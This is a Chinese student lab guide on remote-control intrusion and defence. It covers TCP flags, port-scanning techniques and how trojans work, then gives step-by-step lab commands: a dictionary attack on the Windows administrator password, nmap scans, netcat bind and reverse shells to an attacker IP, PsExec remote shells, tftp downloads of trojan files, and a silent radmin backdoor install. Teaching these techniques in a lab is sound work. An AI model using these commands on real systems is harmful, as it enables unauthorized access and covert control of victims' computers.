12计算机远程控制诊断与防御学生指导书Word格式.docx
《12计算机远程控制诊断与防御学生指导书Word格式.docx》由会员分享,可在线阅读,更多相关《12计算机远程控制诊断与防御学生指导书Word格式.docx(13页珍藏版)》请在冰点文库上搜索。
TCPServer
1SendSYN(seq=x)
----SYN--->
SYNReceived
2SYN/ACKReceived
<
---SYN/ACK----
SendSYN(seq=y),ACK(x+1)
3SendACK(y+1)
----ACK--->
ACKReceived,ConnectionEstablished
w:
ISN(InitialSequenceNumber)oftheClient
x:
ISNoftheServer
标志控制功能URG:
紧急标志
紧急标志置位,ACK:
确认标志。
确认编号(AcknowledgementNumber)栏有效。
大多数情况下该标志位是置位的。
TCP报头内的确认编号栏内包含的确认编号(w+1,Figure:
1)为下一个预期的序列编号,同时提示远端系统已经成功接收所有数据。
PSH:
推标志。
该标志置位时,接收端不将该数据进行队列处理,而是尽可能快将数据转由应用处理。
在处理telnet或rlogin等交互模式的连接时,该标志总是置位的。
RST:
复位标志。
复位标志有效。
用于复位相应的TCP连接。
SYN:
同步标志。
同步序列编号(SynchronizeSequenceNumbers)栏有效。
该标志仅在三次握手建立TCP连接时有效。
它提示TCP连接的服务端检查序列编号,该序列编号为TCP连接初始端(一般是客户端)的初始序列编号。
在这里,可以把TCP序列编号看作是一个范围从0到4,294,967,295的32位计数器。
通过TCP连接交换的数据中每一个字节都经过序列编号。
在TCP报头中的序列编号栏包括了TCP分段中第一个字节的序列编号。
FIN:
结束标志。
带有该标志置位的数据包用来结束一个TCP回话,但对应端口仍处于开放状态,准备接收后续数据。
2..端口扫描原理
“端口扫描”通常指用同一信息对目标计算机的所有所需扫描的端口进行发送,然后根据返回端口状态来分析目标计算机的端口是否打开、是否可用。
“端口扫描”行为的一个重要特征,是在短时期内有很多来自相同的信源地址,传向不同的目的、地端口的包。
通常进行端口扫描的工具目称之为“端口扫描器”。
端口扫描器也是一种程序,它可以对目标主机的端口进行连接,并记录目标端口的应答。
端口扫描器通过选用远程TCP/IP协议不同的端口的服务,记录目标计算机端口给予回答的方法,可以收集到很多关于目标计算机的各种有用信息(比如是否有端口在侦听,是否允许匿名登录,是否有可写的FTP目录,是否能用Telnet等)。
虽然端口扫描器可以用于正常网络安全管理,但就目前来说,它主要还是被黑客所利用,是黑客入侵、攻击前期不可缺少的工具。
黑客一般先使用扫描工具扫描待入侵主机,掌握目标主机的端口打开情况,然后采取相应的入侵措施。
无论是正常用途,还是非法用途,端口扫描可以提供4个用途。
(1)识别目标主机上有哪些端口是开放的,这是端口扫描的最基本目的。
(2)识别目标系统的操作系统类型(Windows、Linux或UNIX等)。
(3)识别某个应用程序或某个特定服务的版本号。
(4)识别目标系统的系统漏洞,这是端口扫描的一种新功能。
目前主要端口扫描技术
●TCPconnectScan(TCP连接扫描)
这种方法也称之为“TCP全连接扫描”。
它是最简单的一种扫描技术,所利用的是TCP协议的3次握手过程。
它直接连到目标端口并完成一个完整的3次握手过程(SYN、SYN/ACK和ACK)。
操作系统提供的“connect()”函数完成系统调用,用来与目标计算机的端口进行连接。
如果端口处于侦听状态,那么“connect()”函数就能成功。
否则,这个端口是不能用的,即没有提供服务。
●TCPSYNScan(TCP同步序列号扫描)
若端口扫描没有完成一个完整的TCP连接,即在扫描主机和目标主机的一指定端口建立连接的时候,只完成前两次握手,在第三步时,扫描主机中断了本次连接,使连接没有完全建立起来,所以这种端口扫描又称为“半连接扫描”,也称为“间接扫描”或“半开式扫描”(HalfOpenScan)。
SYN扫描,通过本机的一个端口向对方指定的端口,发送一个TCP的SYN连接建立请求数据报,然后开始等待对方的应答。
如果应答数据报中设置了SYN位和ACK位,那么这个端口是开放的;
如果应答数据报是一个RST连接复位数据报,则对方的端口是关闭的。
使用这种方法不需要完成Connect系统调用所封装的建立连接的整个过程,而只是完成了其中有效的部分就可以达到端口扫描的目的。
此种扫描方式的优点是不容易被发现,扫描速度也比较快。
同时通过对MAC地址的判断,可以对一些路由器进行端口扫描,缺点是需要系统管理员的权限,不适合使用多线程技术。
●TCPFINScan(TCP结束标志扫描)
这种扫描方式不依赖于TCP的3次握手过程,而是TCP连接的“FIN”(结束)位标志。
原理在于TCP连接结束时,会向TCP端口发送一个设置了FIN位的连接终止数据报,关闭的端口会回应一个设置了RST的连接复位数据报;
而开放的端口则会对这种可疑的数据报不加理睬,将它丢弃。
可以根据是否收到RST数据报来判断对方的端口是否开放。
此扫描方式的优点比前两种都要隐秘,不容易被发现。
该方案有两个缺点:
首先,要判断对方端口是否开放必须等待超时,增加了探测时间,而且容易得出错误的结论;
●UDPScan(UDP协议扫描)
在UDP扫描中,是往目标端口发送一个UDP分组。
如果目标端口是以一个“ICMPportUnreachable”(ICMP端口不可到达)消息来作为响应的,那么该端口是关闭的。
相反,如果没有收到这个消息那就可以推断该端口打开着。
●ICMPecho扫描
其实这并不能算是真正意义上的扫描。
但有时的确可以通过支持Ping命令,判断在一个网络上主机是否开机。
Ping是最常用的,也是最简单的探测手段,用来判断目标是否活动。
实际上Ping是向目标发送一个回显(Type=8)的ICMP数据包,当主机得到请求后,再返回一个回显(Type=0)的数据包。
而且Ping程序一般是直接实现在系统内核中的,而不是一个用户进程,更加不易被发现。
3.木马
木马程序是目前比较流行的恶意文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑。
木马与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;
“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性,那将是毫无价值的。
(1)木马是如何工作的?
一个完整的木马系统由硬件部分和软件部分以及具体连接部分组成。
建立木马连接所必须的硬件实体具体包括控制端、服务端和Internet。
控制端是对服务端进行远程控制的一方,服务端是被远程控制的一方。
Internet是实现控制端对服务端进行远程控制、数据传输的载体。
实现远程控制也必须要有软件程序,软件程序具体包括控制端程序、木马程序和木马配置程序。
控制端程序是控制端用来远程控制服务端的程序,木马程序是潜入木马内部,获取其操作权限的程序。
木马配置程序是设置木马程序的端口号、触发条件、木马名称等,使其在服务端伪装得更隐蔽的程序。
下面来了解一下木马的工作原理。
用木马这种工具进行网络放侵,从过程上大致可分为配置木马、传播木马、运行木马、信息泄露、建立连接和远程控制。
一般情况下,木马都有配置程序,从具体配置内容来主要是为了在服务端尽可能地隐藏好木马,并对信息的反馈方式或地址进行设置。
木马传播方式主要有两种:
一种是通过E-mail将木马程序以附件形式夹在邮件中发送出去,收信人只要打开附件就会感染木马;
另一种是软件下载,一些非正规网站以提供软件下载为名义,将木马捆绑在软件安装程序上,下载后只要运行这些程序,木马就会自动安装。
木马还会伪装的方式降低用户的警觉,来欺骗用户,常见的欺骗方式有修改图标、捆绑文件、出错显示、定制端口、自我销毁和木马更名等。
服务端用户运行程序后,木马就会自动进行安装,将自身先复制到Windows的系统文件夹(C:
\Windows、C:
\Windows\system或C:
\Windows\temp目录下)中之后,再修改注册表、启动程序,这样,木马的安装就完成了。
设置好的木马一般都会有一个信息反馈机制,是指木马成功安装后会收集一些服务端的软硬信息,并通过电子邮件、IRC或QQ的方式告知控制端用户(主要包括使用的操作系统、系统目录、硬盘分区情况、系统口令等)。
这些信息中最重要的是服务端IP地址,因为只有得到这个参数,控制端才可实现与服务端连接。
一个木马连接的建立必须具备两个条件:
一是服务端已安装了木马程序;
二是控制端和服务端都在线。
在此基础上,控制端可以通过服务端建立连接。
控制端上的控制端程序可通过这条通道与服务端上的木马取得联系,并通过木马程序对服务端进行远程控制。
控制端具有十分广泛的权限,如果服务端被运行,控制端就会像控制自己的机器一样简单。
1.2.4任务实施
1.使用软件列表
序号
软件名称
功能
注意事项
1
Pass.bat,test.bat,mhl.txt(字典文件)
破解密码
2
nmap
端口扫描软件
3
x-scan
4
Nc.exe
端口扫描、后门,远程控制,文件传输
瑞士军刀
5
r_server.exe,admdll.exe,raddrv.dll
远程控制服务器端
6
radmin
远程控制客户端
7
Psexec.exe,
获取远程主机shell
8
Tftp服务器
2.软件使用说明
(1)windows密码暴力破解
命令格式:
pass.bat字典文件victim主机administrator
如:
c:
\>
pass.batc:
\mhl.txt10.70.29.46administrator
(2)nmap使用
Nmap–sP10.70.29.1-100扫描指定范围的计算机
Nmap–sS–p100-30010.70.29.8扫描指定计算机的指定端口范围,采用tcpsyn扫描方式.
参数sU,sF,sT使用方法一样,只是端口扫描的技术不一样。
(3)X-scan使用
●设置扫描参数
●开始扫描
(4)瑞士军刀的使用
设本地主机10.70.29.4,远程主机10.70.29.8
●监听本地端口1000
Nc.exe–l–p1000//本地主机
telnet10.70.29.41000//远程主机
●程控制远程主机
Nc.exe–l–p1000–ecmd.exe//远程主机
telnet10.70.29.41000//本地主机
●反向连接
Nc.exe–ecmd.exe10.70.29.41000//远程主机
(5)远程控制软件的使用
●Attacker主机
Psexec.exe\\Victim主机ip地址,-u用户名–p密码cmd.exe
●Victim主机:
r_server.exe/install/silence安装服务器端
r_server.exe/port:
8080/pass:
123456/save/silence开端口和设置密码
netstartr_server启动服务
启动radmin,连接victim主机,输入密码
3.参考实施步骤
步骤1使用nmap进行主机和端口扫描
在命令提示符下输入:
nmap-sP10.60.31.1-50
图1-2-1使用nmap进行主机扫描
如上图,扫描ip地址在10.60.31.1-10.60.31.50之间的主机,结果只有三台主机存活。
在命令符下输入:
nmap-sS-p100-30010.60.31.5
图1-2-2使用nmap进行端口扫描
如上图,扫描主机10.60.31.5的端口在100-300之间的开发情况,结果显示只有135,139端口开着。
步骤2破解系统密码
1.使用x-scan扫描系统弱口令
启动x-scan,单击”设置”菜单的”扫描参数”项,指定ip地址10.60.31.5,如下图
图1-2-3x-scan扫描参数设置
编辑smb密码字典和smb用户名字典,加入你猜测的用户名和密码,如下图。
图1-2-4密码字典位置
设置完密码字典后,单击
进行扫描,发现了系统的弱口令。
在实际暴力破解中,往往借助工具自动生成用户名和密码。
图1-2-5扫描结果
步骤3获取系统shell
获得用户名和密码后,我们可以使用Psexec.exe工具获得远程主机shell命令如下:
psexec\\10.60.31.5-uadministrator-p1234cmd.exe
图1-2-6获取系统shell
步骤4上传木马
获取远程主机shell之后,如何上传木马呢?
桌面操作系统在c:
\windows\system32下默认装有tftp客户端,因此在黑客主机上要装tftp服务器,提供tftp服务。
如下图。
图1-2-7tftp服务器界面
在远程主机上输入以下命令:
tftp10.60.31.26getadmdll.dll
tftp10.60.31.26getr_server.exe
tftp10.60.31.26getraddrv.dll
10.60.31.26是黑客主机的ip地址,通过tftp的get命令,吧木马下载到远程主机。
步骤5植入木马和远程控制
1.在远程主机上安装木马
r_server.exe/install/silence安装服务器端
这样就在远程服务器中安装r_server服务,端口号是8080,密码是123456。
2.进行远程控制
在攻击主机上运行客户端控制软件radmin.exe,单击“连接”菜单,建立一个连接,当然需要输入远程主机的ip地址和端口号,如下图
图1-2-8远程控制界面
右击桌面图标,可以进行完全控制、文件传输、telnet等操作(需要输入密码)。
如下图进行完全控制。
图1-2-9被控制的远程主机界面
1.2.5成果报告要完成的相关问题
●简述暴力破解的过程
●举列瑞士军刀的一些其他用法
●给出方案,使用tftp服务器传文件
●给出被远程控制主机的防御方案
1.2.6项目评价
计算机远程控制诊断与防御
1.您觉得已经掌握黑客入侵的步骤了吗?
(A)掌握(B)有一些了解(C)一点都不懂
2.您觉得已经掌握远程控制和暴力破解的技术了吗?
(A)掌握(B)有一些了解(C)一点都不懂
3.您能适应教师的教学方法吗?
(A)能(B)有些困难(C)不能
4.您在与别人沟通方面有进步吗?
(A)有(B)有一点(C)没有
5.您是否有信心自己掌握一种新的攻击工具?
(A)有(B)有一点(C)没有
6.您觉得您容易同学合作顺利吗?
(A)很难(B)比较容易(C)还行
7.您认为这个项目对你来说最重要的是什么?
8.您向对教师提一些建议吗?
9.您觉得您的快速学习能力有提高吗?
10.您对这门课的兴趣如何?
(A)有(B)越来越有兴趣(C)没有兴趣